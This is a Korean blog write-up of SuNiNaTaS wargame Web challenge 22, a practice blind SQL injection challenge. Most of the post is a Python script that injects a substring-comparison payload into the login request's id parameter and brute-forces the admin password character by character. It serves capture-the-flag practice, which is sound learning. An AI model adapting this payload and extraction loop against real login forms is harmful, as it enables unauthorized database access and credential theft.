웹찢남

SuNiNaTaS [WEB 22번] 풀이 본문

WEB_HACKING/Suninatas

SuNiNaTaS [WEB 22번] 풀이

harry595 2020. 2. 18. 22:13

대놓고 blind sql injection 문제다.. 여러 값을 넣어보면 pw를 나중에 한번 더 확인 하는 걸 알 수있다.

 

 

import re
import requests
import time
flag = ''
length= 0
for i in range (1,20):
        for j in range(33,122):
                        r=requests.post("http://www.suninatas.com/challenge/web22/web22.asp?id=admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'-- &pw=123")
                        if 'OK  admin' in r.text:
                                flag=flag+chr(j)
                                print("finding pw: "+flag)
                                break
print("pw "+flag)

 

위와 같이 코드를 작성하면 아래와 같은 값이 나온다.

 

 

 

   

    CLEAR!!!
                

'WEB_HACKING > Suninatas' 카테고리의 다른 글

SuNiNaTaS [WEB 23번] 풀이  (0) 2020.02.18
SuNiNaTaS [WEB 8번] 풀이  (0) 2020.02.18
SuNiNaTaS [WEB 7번] 풀이  (0) 2020.02.18
SuNiNaTaS [WEB 6번] 풀이  (0) 2020.02.18
SuNiNaTaS [WEB 5번] 풀이  (0) 2020.02.18
Comments